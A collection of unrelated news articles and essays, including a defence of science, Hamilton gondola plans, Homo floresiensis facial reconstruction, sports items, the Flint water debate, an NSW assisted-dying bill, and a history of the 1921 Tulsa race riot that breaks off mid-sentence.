-Why Science Matters: A Scientist’s Apology  It seems somewhat paradoxical that at the start of a new millennium, during what we proudly refer to as the scientific age, many people still look back to apocalyptic prophecies with such fearsome awe. Think the Y2K bug and the shameless Mayan 2012 “end of the world” propaganda. There is growing cynicism toward science, a sense of betrayal, of promises unrealized. After all, was not science supposed to be the new redeemer, our shining sword to ward off the threats of unpredictable Nature?  We get cures for myriad diseases only to discover new, incurable ones; we create new technologies that supposedly make life easier and more pleasant, only to spend more hours than ever at work. Even worse, technology advances so fast that it is virtually impossible for most of us to keep up, and a vast "technological underclass" is emerging, reminiscent of the socially displaced rural migrants in the medieval cities.  There’s a growing generational divide, where the younger population communicates in ways which are incomprehensible and meaningless to older folks. We can send a man to the Moon (or could, when it was politically relevant) but cannot feed most of the world's population. We consume the natural resources of our planet with reckless appetite, feeding our endless greed for material goods without looking back at the devastation we often leave behind.  And all this thanks to "science!"  So goes the credo of the discontent. Now I must wear the robes of the Science Apologist and refute the above accusations:  “First and foremost, science does not promise redemption. Science is a human invention preoccupied with understanding the workings of Nature. It is a body of knowledge about the Universe and its many inhabitants, living and nonliving, accumulated through a process of constant testing and refinement known as the scientific method.  "What the practice and study of science does provide is a path back to Nature, a way of reintegrating ourselves with the world around us. In so doing, it teaches us the essence of Nature – from the inanimate to the animate – its change and transformation. It teaches us that life and death are intertwined in a cosmic chain of being.  "It was the death of a nearby star that triggered the formation of our Sun, where life became possible in at least one member of its court of planets and moons. If there was life near that original dying star, it was destroyed with it, the same way life here will be destroyed when our Sun burns out. This dance of creation and destruction is constantly happening throughout the Universe, linking our histories, our lives and deaths, to a larger cosmic chain of transformation. As such, every link is important, from what we create and destroy in life to what we leave behind.  "Science may not offer eternal salvation, but it offers the possibility of a life free from the spiritual slavery caused by an irrational fear of the unknown. It offers people the choice of self-empowerment, which may contribute to their spiritual freedom. In transforming mystery into challenge, science adds a new dimension to life. And a new dimension opens more paths towards self-fulfillment."  Thus spoke the Science Apologist.  "Second, science does not determine what is to be done with its accumulated knowledge: we do. And this decision often falls into the hands of politicians, which, at least in a democracy, are chosen by society. The blame for the darker uses of science must be shared by all of us: Are we to blame the inventor of gunpowder for all the deaths from gunshots and explosives? Or the inventor of the microscope for the development of biological warfare?  "We, the scientists, have the duty to make clear to the public what we do in our labs, and what consequences, good or bad, our inventions may have for society at large. But there is no such thing as the ‘scientists’ as a group that shares a set of morals or views, or the blame for the uses and abuses of science. There is, I would like to believe, a common set of goals, to better understand the world and our place in it and, yes, to improve our living conditions and health."  Thus spoke the Science Apologist.  "Finally, science has not betrayed our expectations. Think of a world without antibiotics, computers, televisions, airplanes, and cars – a world in which we are all back in the forests and fields where we came from, living with no technological comfort.  "How many of us would be ready or willing to do it? Can you see yourself living in some cave or primitive hut, hunting for food, physically fighting constantly for survival? There is much hypocrisy in the criticism of science and of what it has done to us and to the planet. We did it all ourselves, through our choices and greed. It is not by slowing down scientific research or its teaching through legislation or censorship that we will change the inequities of a technological society; that is surely a one-way ticket back to the Middle Ages.  "What is needed is universal access to new technologies, aggressive funding for basic and applied research coupled with a widespread effort to popularize science. Only a society well versed in scientific issues will be able to dictate its own destiny, from the preservation of the natural environment to the moral choices of genetic research and nuclear power."  [This text is adapted from my book The Prophet and the Astronomer: A Scientific Journey to the End of Time (W. W. Norton, 2002)]
-Until now, it's been a pie-in-the-sky idea. But the city wants to take the idea of gondolas into the mainstream.  City officials are intrigued by the notion of gondolas that would go up and down the Niagara Escarpment and have just added the concept to the transportation master plan (TMP) to get public input on the idea.  Transportation officials have been talking about gondolas for "two or three months now," said Al Kirkpatrick, the city's manager of transportation planning.  The city is reviewing its TMP to determine how transportation will grow in Hamilton over the next 30 years.  The team is hosting public input sessions in June, Kirkpatrick said. And as it does, it's asking people about gondolas as a way of moving people between the upper and lower city.  We need to take it from the fringe into the mainstream. - Coun. Terry Whitehead  The idea of innovative transportation on the escarpment is not a new one in Hamilton.  From 1895 to 1936, the city operated the Wentworth incline railway, which took passengers up and down the mountain on a track. Many of those footings still exist just under the surface, Kirkpatrick said. Those footings could serve as future footings for the gondola.  Something you would use?  It's too early to talk about details, such as where the gondola would go or how much it would cost. It would have to tie in with Hamilton's existing transportation plan, including a future light-rail transit (LRT) line along King Street due to launch in 2024.  For now, Kirkpatrick said, he just wants to know what people think.  I don't think too many people are going to argue that it's not cool. - Coun. Jason Farr  "We want to ask residents, 'What do you think about it? Is this something you would use?'" Kirkpatrick said.  "We want to get their input into whether it's a great idea or something we should be considering."  Coun. Terry Whitehead is on board for the discussion. His staff met with researchers from McMaster University's Institute for Transportation and Logistics this week about it.  "When I first heard about the concept, I thought it was a harebrained idea," the Ward 8 councillor said. "But as you do more research and take a look at countries around the world that have utilized gondolas, it's one of the cheapest alternatives."  Time to take the idea seriously, councillor says  The gondola would be a great tourist attraction, he said. It could also tie in with a transit hub at Mohawk College.  "The concept would have to be studied," he said. "It'd be premature to say what the ideal locations would be."  But "we need to introduce this into the mainstream discussion and dialogue," he said. "That doesn't mean that it's going to happen. It's a viable, low-cost (transit) option. We need to take it from the fringe into the mainstream."  As long as they do it correctly, I think it's an awesome idea. - Crystal Lavigne, former mayoral candidate  Coun. Jason Farr has been interested in gondolas for a while. "Since I was a kid, people have been talking about this."  "I don't think too many people are going to argue that it's not cool," the Ward 2 councillor said. And it would be a tourist attraction.  Cheaper than LRT  Farr's preliminary research shows that gondolas are comparatively low cost, "a drop in the bucket" compared to the cost of LRT. It's all in the details, he said, such as how much it would cost to operate it and who would own it.  "I just hope folks at the very least try to explore it."  Coun. Matthew Green of Ward 3 has some skepticism, but he'd be open to exploring it. Gondolas seem more appropriate for more mountainous areas, but "sure, why not?" he said of looking at it. "We have to dream big on things."  Gondolas got some attention during the October 2014 municipal election. Crystal Lavigne, who came fifth in the mayoral race, made them part of her platform.  And while Lavigne only got 1,910 votes, Lavigne said she's heartened that officials are talking seriously about gondolas now.  "As long as they do it correctly, I think it's an awesome idea."  Portland, Ore. opened an aerial tram in 2006, although the project drew its share of controversy. Check out a video of it below.  Upcoming Transportation Master Plan public information sessions:  Saturday, June 13  Time: 12 noon to 3 p.m.  Flamborough Family YMCA, 207 Parkside Dr.  Tuesday, June 16  Time: 5 to 8 p.m.  St. Eugene Catholic Elementary School, 120 Parkdale Ave. S.  samantha.craggs@cbc.ca | @SamCraggsCBC
-Dr Susan Hayes, a facial anthropologist and an honorary senior research fellow at the University of Wollongong in Australia, has reported results of the forensic facial reconstruction of mysterious Homo floresiensis, a primitive hominin discovered in 2003 on the Indonesian island of Flores and nicknamed the Hobbit.  Dr Hayes works predominantly with archaeological remains of anatomically modern humans, including the Lapita People (Vanuatu), the Amerindian Huarpe (Argentina), and the first Maori to inhabit New Zealand.  In her new study, Dr Hayes has used so-called facial approximation techniques to show how Homo floresiensis might have once looked.  “In the media it’s often called ‘facial reconstruction’, but because I’m evidence-based and work in archaeological science, we prefer the term ‘facial approximation’,” Dr Hayes said.  Dr Hayes described the facial approximation as an extraordinary challenge working on an archaic hominin.  “She’s taken me a bit longer than I’d anticipated, has caused more than a few headaches along the way, but I’m pleased with both the methodological development and the final results. She’s not what you’d call pretty, but she is definitely distinctive,” said Dr Hayes, who presented the results on December 10 at the 2012 Conference of the Australian Archaeological Association.  “The face looked more modern than he expected,” Dr Darren Curnoe of the University of New South Wales, a human evolution specialist who was not involved in the reconstruction project, said in the interview with the Conversation. “The bones are really quite primitive looking and look a bit like pre-humans that lived two or three million years ago but this new construction looks, to me, surprisingly modern.”  “I think it’s really interesting to see a new approach founded in forensic science and it can actually progress the ways we can understand what Homo floresiensis looked like. What we have seen, until now, have been artistic interpretations, very beautiful ones, but I think this really takes it to a new level and gives us a more scientific and accurate view of what the hobbit looked like.”  “Now the majority of researchers accepted that the hobbit was unique and not a diseased human,” he said. “But precisely where it fits in the human evolutionary tree is still to be determined.”  _______  Bibliographic information: Susan Hayes. Faces of the Hobbit (Homo floresiensis). Themed Session: Historical archaeology, materials conservation and forensic techniques. AAA Conference 2012; Wollongong, NSW. December 9-13, 2012
-Just two-and-a-half years after launching its first course, Open2Study – an offshoot of Open Universities Australia (OUA) which offers free online courses –has enrolled its millionth student .  Open2Study says the majority of people enrolling in any of its 49 four-week programs are Australians, and many are doing it to get a better idea of what they want to study at university.  "We've seen more interest in the practical courses, which can be used as a stepping-stone by students before they make a commitment to a course in higher education," said OUA's executive general manager of education programs, Jose Herrera Perea.  Open2Study's free online courses can be a stepping stone to higher education, says Jose Herrera Perea. Supplied  In order, Open2Study's most popular courses are: Principles of Project Management, The Art of Photography, Food, Nutrition and Your Health, Foundations of Psychology and Early Childhood Education.  More than 36 per cent of Open2Study students are from Australia, followed by India and the US.  Mr Herrera Perea said the Open2Study brand had not been marketed, and its growth had been organic. It took about 18 months to reach its first half-million students and about 12 months to notch up its second half-million.  Each week MOOC watch reports on massive open online courses and digital education.
-It's the story that will define this transfer window and one that promises to make history: Where does Paul Pogba's future lie?  Is it worth it for Manchester United or Real Madrid to break the world transfer record to get him? Or should Juventus stay strong and not give into the pressure to sell their star?  ESPN FC looks at the pros and cons of signing Pogba for the three clubs involved.  MANCHESTER UNITED  Pros  A mood change: Regardless of the cost involved, the world record signing of Pogba, particularly in addition to the appointment of Jose Mourinho and free transfer of Zlatan Ibrahimovic, would generate huge enthusiasm after a series of distinctly un-United years of disappointment. On paper at least, they would look like they're back again just when they need to be, with Pep Guardiola, Antonio Conte, Jurgen Klopp and Mauricio Pochettino upping standards of the Premier League.  The Happy One: Mourinho would have liked United to have wrapped things up earlier, but Pogba's arrival would mean he has got the four players he targeted this summer -- Pogba, Zlatan, Eric Bailly and Henrikh Mkhitaryan.  The missing piece: Neglected toward the end of the Sir Alex Ferguson era and not upgraded adequately enough under David Moyes or Louis van Gaal, United have stumbled from Marouane Fellaini to Bastian Schweinsteiger in the center of midfield, but they would be there at last with Pogba. The total midfielder, Pogba would be the missing piece to United's midfield.  Pogboom: Along with Ibrahimovic, Pogba is one of the most marketable players in the world; a one-man brand. Signing him is expensive, but he is also a money spinner.  Cons  Doubts over Woodward: Whenever United's executive vice-president Ed Woodward ventures into the transfer market, there is a sense he is getting played by the selling club and/or the agent. An inordinate fee would only further that reputation.  The expense: Perhaps Pogba is overpriced; there was better value to be had this summer. United's dithering meant they missed out on 18-year-old midfield dynamo Renato Sanches, for instance, who moved to Bayern Munich for £27.5m from Benfica.  Power shift? As if super-agent Jorge Mendes' influence at United wasn't already great enough, Mino Raiola would now have three of his clients (Ibrahimovic, Mkhitaryan and Pogba) at the club.  REAL MADRID  Pros  The Duodecima: Winning a 12th European Cup surely wouldn't be beyond a team with a midfield of Pogba, Toni Kroos and Luka Modric. Nor would reclaiming the La Liga title for the first time in five years.  Hit back at Barcelona: Andre Gomes who? After Barca hijacked Real's move for the Euro 2016 winner, the impact of signing Pogba would more than make amends -- it would eclipse anything their rivals have done. Real fans are overdue a galactico signing after a quiet window by their standards last summer.  Relationship with Zinedine Zidane: Zidane became the seventh man to win the Champions League as a player and manager and is a big admirer of Pogba's. While Mourinho pushes all the right buttons to get players to reach another level, you wonder if the Juventus midfielder might respond better to Zidane, under whom, one presumes, he would get more freedom of expression.  Cons  Midfield not key: "I'm happy with the squad I've got. It's difficult to improve," Zidane said recently. Reinforcing the midfield isn't a big priority, not with James Rodriguez, Isco, Casemiro and Mateo Kovacic around (for now) as well.  No balance: As we saw with France at Euro 2016, Pogba is wasted in front of the defence. His best position, left of centre, is where Toni Kroos operates, and Zidane would be reluctant to move the German.  The lesson of James: Buying a player before thinking about where he fits in is a Real trademark, but maybe the £63m the club spent on the underperforming James is enough to make them think twice.  JUVENTUS  Pros  Team building to win UCL: Massimiliano Allegri has told Pogba to think very carefully before leaving the Old Lady, because he believes Juventus are now one of the top four teams in Europe. Two years after reaching the Champions League final, they now think they have the ability to win it, and keeping Pogba would give them an even better chance of bringing the trophy back to Turin for the first time since 1996.  Sending a message: Juventus are not a selling club. Bayern, Barcelona and Real don't accept offers for their best players; why should Juventus? Retaining Pogba and bringing in the money spent on Gonzalo Higuain through the sales of fringe players like Roberto Pereyra, Simone Zaza, Hernanes and Stefano Sturaro, though difficult, would send a strong message to the continent that Juventus are not a breeding ground for bigger clubs.  The complete midfielder: Not everyone was sure about Pogba getting the No. 10 shirt at Juventus. He is not a classic No. 10, but by the end of last season he showed himself worthy of it; 11 of his 12 assists on the season came in 2016. A complete midfielder, why would you let him go if he is willing to stay? A midfield of Pogba, Miralem Pjanic and one of Sami Khedira or Claudio Marchisio [when fit again] is one of the best around.  Cons  Missing the deal of the century: Sometimes the head has to overrule the heart; sometimes an offer is just too good to turn down. All the stars have aligned to make this the deal of the century for Juventus, and a return of more than £100m on an initial investment of £800k represents a great piece of business. No one thinking rationally would begrudge Juventus for taking it.  James covers the Italian Serie A and European football for ESPN FC Follow him on Twitter @JamesHorncastle.
-Google  It was bound to happen sooner or later: Google announced that it will soon be adding in-app advertisements to its popular and powerful Google Maps feature.  “Relevant ads on the Google Maps app can now appear at the bottom of the screen after a user performs a search. They include a title, ad text, and a link to get directions. Users can tap or swipe upward to see more information,” explains a post on the Google Inside AdWords blog.  Search for “gas station,” for example, and Google might first show an advertisement for a station three miles away before it shows you a result closer to where you are. As you can see in Google’s sample image at the right, these ads appear with a purplish background to distinguish them from other, non-paid search results.  Google makes the bulk of its money though advertising, so the move isn’t especially surprising. It’s just means you’ll need to pay a little bit closer attention to your searches. With Google, the most prominent search result often isn’t the best one. It’s just one that’s paid the most to be there.  This article was written by Fox Van Allen and originally appeared on Techlicious.  More from Techlicious:
-Looking for news you can trust?  Subscribe to our free newsletters.  Dana Milbank writes about Friday’s congressional hearing on Flint’s water:  In a hearing this week about the poisonous water in Flint, Mich., Rep. Earl L. “Buddy” Carter (R-Ga.) tried to blame the lead-tainted water on the Obama administration’s Environmental Protection Agency. EPA Administrator Gina McCarthy explained that, under the law Congress passed, states are in charge of enforcing drinking-water standards. “The law?” Carter replied, contemptuously. “The law? I don’t think anybody here cares about the law.” It was an awkward and inadvertent moment of truth. Congress has hamstrung the federal government, giving states the authority to enforce drinking-water standards and all but eliminating the EPA’s power tointervene….It’s a vicious cycle: Washington devolves power to the states. When states screw up, conservatives blame the federal government, worsening the public’s already shaky faith. ….In Flint’s case, an official appointed by Gov. Rick Snyder (R) decided in 2013 to save money by changing the water supply, with disastrous results. The EPA had no say….[Nonetheless] Republican members of the House Oversight and Government Reform Committee focused their ire on McCarthy. “I heard calls for resignation. I think you should be at the top of the list,” said Rep. John L. Mica (R-Fla.)….Rep. Scott DesJarlais (R-Tenn.) said McCarthy should “consider scrapping” other pending regulations because “it’s clear EPA cannot currently handle the issues on its plate.” ….Chaffetz, the chairman, joined this complaint. When McCarthy explained that, under the law, she had to provide elaborate documentation before overriding state officials, Chaffetz was livid. “Why do we even need an EPA? If you can’t do that?” he asked. “If you want to do the courageous thing,” he said, you “should resign.”  I also wrote about this on Friday, with much the same disgusted tone as Milbank. This prompted an email from a regular reader:  It has really been disappointing to read your pieces on Flint recently. You are dismissive of not only the lead problem, but also fail to acknowledge there was any other problem. Was Flint worse before? Yes, years ago, but lead is still detrimental to health when using untreated Flint river water. Are there other places worse? Yes, but now you are sounding like Steven Hayward at Power Line in dismissing Flint complaints because there are places worse….Put the statistics in perspective but do not give credence they are unworthy of notice or action.  I think it’s worth posting my reply, complete and unedited, since I tend to self-censor a bit when I write about this on the blog:  Here’s the problem: Virtually everyone is in hysteria over this. The only way to push back is to get people’s attention, and that means writing without too much nuance. Under the circumstances, I’ve actually been pretty restrained. I’ve repeatedly acknowledged that there were political/bureaucratic problems—though I’m not convinced the EPA had a big role in this. But on a technical basis, although the lead levels in Flint water were higher than they should have been, they were never wildly high even at the height of the crisis. Today, things seem very close to normal. Why go on about this? Because we’re at a point where the hysteria is doing real damage. Flint residents are still panicked, drinking bottled water and not taking showers. Aside from one or two dozen houses with very high levels, there’s just no reason for this. They can go back to normal lives, but no one will let them. I understand why everyone is responding this way (on both sides), but it’s genuinely damaging. One of the reasons I’ve written about this is because I have some cred on lead poisoning. I very clearly take lead seriously. But the truth is that you can go too far. The 5 m/d level is very conservative, and when you get to the point where there’s only 2-3% of kids above it, it just isn’t a huge problem. (It’s still a problem, and we should aim lower, but it’s not a huge problem.) My take: anyone who’s serious about lead should be applauding the improvement in Flint (though it’s perfectly fine to skewer the bureaucrats and politicians) and trying to focus the public’s attention on places where lead levels are still damagingly high. Otherwise we’ll spend a billion dollars replacing Flint’s pipes for no reason, clap ourselves on the back for a job well done, and then do nothing more.  I don’t expect everyone to agree with this. I’m not sure I always agree with it myself. You can make a good case that generating hysteria is really the only way to get people’s attention for a problem as invisible as lead. And there’s no question that lead pipes are part of this problem (for example, here’s a Post story also from Friday about schools with contaminated drinking fountains).  And yet….the truth is important too. When most families in Flint can go back to leading normal lives, they should be told so. When the bigger problem is contaminated soil and lead paint, people should be told so. When lots of other places have lead levels far higher than Flint all the time, people should be told so. When real progress is possible, people should be told so—and they should be told what real progress means, not fed a bunch of fairy tales.  I understand that saying this stuff can sound dismissive sometimes. I try my best not to take that tone. But when a bandwagon starts picking up too much speed, sometimes you need to speak up and suggest that it change direction a bit.
-To celebrate the shipment of 100 million GeForce GPUs, MSI is launching a new revision of the GeForce GTX 970, the Gaming 100ME (millionth edition). The cooler is identical that used in the GTX 970 Gaming 4G but replaces the red color scheme of the MSI Gaming brand with a green very close to that of NVIDIA's.  This will also ship with a "special gift" and will be a limited edition, much like the Golden Edition GTX 970 from earlier this year.  MSI had some other minor updates to its GPU line including the GTX 970 4GD5T OC with a cool looking black and white color scheme and an 8GB version of the Radeon R9 290X.  PC Perspective's CES 2015 coverage is sponsored by Logitech.  Follow all of our coverage of the show at http://pcper.com/ces!
-Euthanasia debate: NSW Parliament to consider drafted legislation on assisted dying  Updated  New South Wales is a step closer to allowing terminally ill people to voluntarily end their lives, with a draft bill with cross-party support being released today.  The Voluntary Assisted Dying Bill has been drafted by a parliamentary working group made up of members from the Coalition, Labor, Greens and an independent.  The draft bill would give a person over the age of 25 the right to request assistance from a medical practitioner to end their life.  They must be experiencing severe pain or physical incapacity, and be likely to die within 12 months.  Patients must be assessed by their primary doctor, then a specialist, as well as a psychologist or psychiatrist.  Patients would then be allowed to self-administer a lethal substance to end their lives. They may also be assisted by a medical practitioner or nominated person.  The process would include a cooling-off period of 48 hours, which starts once a request for assistance certificate has been completed.  The bill would also enable a close relative of the patient to apply to the Supreme Court for a judicial review.  MPs optimistic about parliamentary support  Nationals MP Trevor Khan said it was a cautious bill with "a range of safeguards to meet the inevitable criticisms that a bill such as this will face when it's introduced into Parliament".  "I'm expecting that we'll be treated thoughtfully and that the issue, as a whole, will be free of the politics that can infest these debates," he said.  He said he would urge his parliamentary colleagues to think of their own family members and vote with their conscience.  Mr Khan said assisted-dying legislation had significant public support.  "The overwhelming majority of Australians and people who live in NSW want some action on this subject," he said.  Labor MP Lynda Voltz said politicians needed to listen to community support for end-of-life legislation.  "I go and walk my dog and people talk to me about it, I go out to community meetings and people talk about it," she said.  "There is a lot of community support out there for a bill of this nature and parliaments can no longer stick their head in the sand and ignore that community expectation."  Ms Voltz said it had taken about 12 months to create a draft bill "that meets the community's expectations, legal expectations and medical expectations".  The legislation will face a conscience vote when it's finalised and then introduced to State Parliament.  Topics: state-parliament, euthanasia, nsw, sydney-2000  First posted
-Forward misses third straight game with upper-body injury  Buy Photo Predators forward James Neal. (Photo: Jae S. Lee / The Tennessean)Buy Photo  Predators forward James Neal missed his third consecutive game with an upper-body injury.  Neal is day-to-day, according to coach Peter Laviolette. He is tied with forward Craig Smith for the team's goal-scoring lead with 22, but had one goal in 11 games prior to the injury.  "He does a lot for us," forward Matt Cullen said. "He plays a lot of minutes, he plays on our power play. He's that weapon that can just kind of score at any time. You may not be noticing him, then bang, he scores a goal and changes the game around."  Though Neal's natural scoring ability is missed, he is one of four players with at least 20 goals for the Predators. That total was tied with the St. Louis Blues and Tampa Bay Lightning for most in the NHL as of Tuesday.  "He's a great shooter, big body, big part of the offense," forward Mike Fisher said. "That being said, we've got lots of guys that are capable of coming in and (we've) done a pretty good job."  Home, sweet home: After a four-game road trip, the Predators began a three-game home stand on Tuesday.  Nashville's 26 home wins were second only to Tampa Bay's 27 entering play Tuesday, but a 3-2 overtime loss to the Wild extended the Predators' season-worst home losing streak to five games.  "That belief in this building is huge," Fisher said. "At home, we've got to be solid. That's why we want to get home-ice advantage too, because we've been so strong here. We've got a good little stretch at home. We've got to make the best of it."  Josi's big night spoiled: Defenseman Roman Josi scored twice within 45 seconds in the second period for his first multi-goal game of the season.  With 51 points, he became the fourth defenseman in Predators history to reach the 50-point plateau. Josi is five points shy of Shea Weber's single-season record of 56 points, set last season.  "Right now, I'm not thinking about points," Josi said. "It's about the team. We've got to find a way to get back to those winning ways. You're not going to be happy after a game if you lost a game."  NEWSLETTERS Get the Sports newsletter delivered to your inbox We're sorry, but something went wrong Top and trending sports headlines you need to know for your busy day. Please try again soon, or contact Customer Service at 1-800-342-8237. Delivery: Daily Invalid email address Thank you! You're almost signed up for Sports Keep an eye out for an email to confirm your newsletter registration. More newsletters  "Krazy" Kyle's new toy: Bridgestone Arena organist "Krazy" Kyle Hankins unveiled a new Roland AT-900 during the first period. He christened the organ by playing "Also sprach Zarathustra" by composer Richard Strauss.  Reach Adam Vingan at 615-218-9835 and on Twitter @AdamVingan.
-One of the worst race riots in the nation’s history occurred in Tulsa over a 14-hour period on May 31- June 1, 1921. Dozens of people were killed, hundreds were injured and thousands were left homeless. Most of the segregated black district, known as Greenwood, was destroyed. Although the riot itself lasted only a few hours, its repercussions are still felt today.Click each chapter to read more about Tulsa's race riot.- Randy Krehbiel, World Staff WriterThe Tulsa of 1921 was a humming, bustling place that reveled in the title “Oil Capital of the World.” It had earned the name by making itself into the financial, manufacturing and transportation hub of the great Mid-Continent oilfields surrounding it. From barely 1,000 inhabitants in 1898, it had grown to more than 72,000. Tulsa County’s population was about 110,000, making it the most densely populated and fastest-growing county in the state.Most Tulsans were native-born and white. A surprisingly small number – fewer than 1,000 – identified themselves as American Indians. About 9,000 were black, with most of them living in the community centered on Greenwood Avenue northeast of downtown Tulsa. Most black Tulsans worked as laborers and domestics, but a substantial number were teachers, lawyers, doctors and other professionals.Tulsa, like the rest of Oklahoma, was racially segregated. Greenwood had its own schools, its own post office substation, its own police station and its own branch library. It also had its own thriving commercial district, which Booker T. Washington had called the “Black Wall Street of America.”Only two decades earlier, Tulsa had barely mustered the 1,000 inhabitants necessary for incorporation. Two decades before that, it did not exist at all. Tullasi – or “Old Town” – a Lochapoka Creek village established in the 1830s near present-day 18th Street and Cheyenne Avenue disappeared during the Civil War. In 1879, the first official use of the name “Tulsa” appeared on a U.S. Post Office operating out of the Perryman Ranch headquarters near present-day 41st Street and Trenton Avenue. Modern Tulsa, though, began in 1882, when a small tent city sprang up around Atlantic and Pacific Railroad where it met the Arkansas River.The discovery of the Glenn Pool oil field in 1905 fueled Tulsa's ambitions. Subsequent discoveries in the surrounding countryside transformed Tulsa from cow town to budding metropolis.With World War I came a great surge in demand for petroleum products. As much as 20 percent of the oil powering the Allied armies passed through Tulsa's pipeline terminals, refineries and rail yards. Some $36 million in building permits were issued from 1917 to 1921, with such lasting landmarks as Central High School, the Exchange National Bank, First National Bank, Cosden, City Hall, Mayo, McFarlin, Sinclair, U.S. Post Office and Atlas Life buildings completed or started.Tulsa politics could be bumptious. The electorate was more or less evenly divided between Republican and Democrat, and with city elections held every two years, changes in administration were frequent. In 1920, real estate attorney and former municipal judge T.D. Evans, a Republican, was elected mayor on a single-plank platform: to push through a bond issue to pay for a reservoir on Spavinaw Creek, 90 miles away, and the pipeline to bring fresh water to Tulsa.Three of the four city commissioners elected that year were also Republicans, as was City Auditor Mary Seaman, the first woman to hold municipal office in Tulsa. The recently hired police chief, John Gustafson, was a former railroad detective and private investigator whose appointment had been opposed by Tulsa County Sheriff Willard McCullough. A former cowboy with an elegant handlebar moustache, McCullough had served as Tulsa County sheriff off and on since statehood and had been returned to office in 1920 after the incumbent, Jim Woolley, failed to prevent the lynching of a suspected murderer.Crime and law enforcement were important issues in Tulsa. Less than two weeks before the riot, Oklahoma Assistant Attorney General Katherine VanLeuven led an investigation of the Tulsa Police Department that revealed a poorly trained and sometimes corrupt force so ill-equipped it did not have a single reliable automobile. When officers need transportation to crime scenes, they were taken in private cars driven by volunteer citizens.During the course of the investigation, a Southern Methodist minister named Harold Cooke touched on underlying racial tension. An open proponent of vigilantism and unabashed racist, Cooke complained bitterly of blacks and whites drinking and dancing together in road houses and speakeasies, and of black porters in cheap hotels acting as agents for white prostitutes.In Tulsa, as in the rest of Oklahoma and throughout the United States, race was an important issue. Many states, including Oklahoma, tried to keep blacks from voting and restricted their activities, sometimes through so-called “Jim Crow” laws and sometimes through intimidation. Increasingly, blacks resisted discrimination. From Washington, D.C., to Chicago to the rural Arkansas delta, racial conflict degenerated into deadly armed violence.Though far from ideal, Tulsa was considered a better place than most for blacks. Besides the thriving business district, Greenwood attracted a relatively large number of doctors, lawyers and teachers. Its schools, though poorly funded, were exceptional. The Tulsa Star, a lively weekly newspaper edited by A.J. Smitherman, promoted independence and unity, and exhorted blacks to stand up for their rights.Three weeks before the riot, a middle-aged black couple was arrested in Tulsa for refusing to sit in the back of a street car. They were fined $10.On Monday, May 30, 1921, a young black man named Dick Rowland got onto an elevator on the third floor of the Drexel Building at 319 S. Main St. For some reason, he came into contact with Sarah Page, the white elevator operator, and Page cried out. Her cry was heard by a store clerk, who called police.The Drexel Building, at 319 S. Main St., was four stories tall. Renberg’s Department Store occupied the first two floors, with offices and small businesses upstairs.The building was probably quiet that morning. It was Memorial Day and most downtown stores, including Renberg’s, were closed. Rain dampened the holiday activities, including a parade.Although Dick Rowland seems to have been fairly well known, his true identity is a bit of a mystery. He is generally identified as the son of Dave and Alice “Ollie” Rowland, who operated a boarding house in the Piro Building on East Archer Street. Some sources, though, say his name was actually John or Johnny Rowland, and that he was the adopted son or even grandson of Dave Rowland. Damie Rowland, Dave and Alice’s daughter, said in a 1972 interview that she had taken in young Johnny while living in Vinita and that he had been born in Arkansas. The 1920 Census listing for the Rowland household includes an adopted son named John who had been born in Texas.Adding to the uncertainty is a slight age discrepancy. The Census recorded John Rowland’s age as 16 in 1920. Dick Rowland’s age, when he was arrested a year later, was given as 19.Almost nothing is known of Sarah Page. Originally described as a 17-year-old orphan working her way through business college, it later developed that she may have been as young as 15 and had come to Tulsa from Kansas City while waiting for a divorce to be finalized.Some, including Damie Rowland, have fostered the notion that Page and Rowland were romantically involved. Though possibly true, the story cannot be verified through contemporary accounts.People who knew Rowland said the elevator did not stop level with the third-floor threshold, causing him to trip as he entered the car and fall against Page. Police later said that whatever happened, it was almost certainly not intentional. In any case, Page’s cry caught the attention of a Renberg’s employee, who apparently summoned police. Rowland fled, but Page and the clerk, if not actually naming the man she said attacked her, supplied enough of a description that authorities had no difficulty locating him.Rowland’s arrest the next morning was reported in a front-page story in that afternoon’s Tulsa Tribune. Headlined “Nab Negro for Attacking Girl in Elevator,” the somewhat sensational account reported, accurately if perhaps imprudently, that Rowland was to be charged with attempted assault. It said Rowland scratched Page and tore her clothes.This, in the parlance of the day, was tantamount to an accusation of attempted rape. The mere suggestion of attempted assault, when it involved a white woman, had in the past triggered gruesome lynchings from Duluth, Minn., to the Florida swamps.Some sources say the Tribune also published an editorial, under the headline “To Lynch Negro Tonight.” This is possible, but does not seem likely. For one, the Tribune actually editorialized against lynching, both before and after the riot. A call for vigilante justice would have been almost inconceivably inconsistent.Also, no such editorial has ever been found. This in itself does not prove one didn’t exist. The only known copies of the May 31, 1921, Tribune were an early “state” edition – essentially a reprint of the previous day’s last edition, and therefore of no use – and a microfilm image of a file copy, made in the 1940s. The front page arrest story had been torn from this paper and part of the back page – the editorial page – was missing. This has led to speculation that the inflammatory editorial was torn out along with the arrest story.Again, this is possible but not probable.A surviving “state” edition of June 1, 1921 – the state edition being a virtual reprint of the previous day’s last edition – shows the arrest story on the front page. The space where the missing editorial would have been is a piece on European disarmament.The editorials could have been switched, but a more likely explanation is that confusion arose over an editorial that appeared on the front page of the June 1 Tribune. This editorial condemned lynching but included the phrase “a story starts that a negro in the county jail was to be lynched.”Finally, and perhaps most tellingly, the Tribune’s three loudest critics – the rival Tulsa World, the Oklahoma City Black Dispatch and the NAACP – never mentioned an editorial in their attacks on the newspaper.The NAACP’s Walter White blamed the Tribune’s use of the word “assault.” The Black Dispatch reprinted the May 31 arrest story under the headline “The False Story which set Tulsa on Fire.” The World, on June 1, tweaked the Tribune for its “colored account” of the elevator incident.Page, who seems to have fled the city on June 1, subsequently wrote to the county attorney, asking that the charges against Rowland be dropped. The case was dismissed at the end of September.Just how much the Tribune story actually contributed to what followed has been debated since the day it appeared. Police Chief John Gustafson and police commissioner J.M. Adkison minimized its importance, and word of Rowland’s arrest almost certainly would have gotten around anyway. But others – including, according to one report, Gov. J.B.A. Robertson – thought the story was the root cause of the riot.At 4 p.m., an anonymous caller told Police Commissioner J.M. Adkison, “We are going to lynch that negro, that black devil who assaulted that girl.” Adkison and Police Chief John Gustafson arranged to move Rowland from the city jail to the more secure county lockup on the top floor of the courthouse at Sixth Street and Boulder Avenue.Whites, attracted by the rumors, began gathering at the courthouse until they numbered an estimated 2,000.Adkison and Gustafson wanted Sheriff Willard McCullough to take Rowland out of town, but McCullough refused. He reasoned that Rowland was safer in the jail than in a car on an open road somewhere. In this, McCullough was no doubt correct, but there is some indication that Adkison and Gustafson thought spiriting Rowland out of town would disperse the crowd. This was, in fact, a tactic that had worked elsewhere.McCullough, though, was not about to make the same mistake his friend and rival Jim Woolley had the previous year, when Woolley had allowed a mob to take murder suspect Roy Belton from the 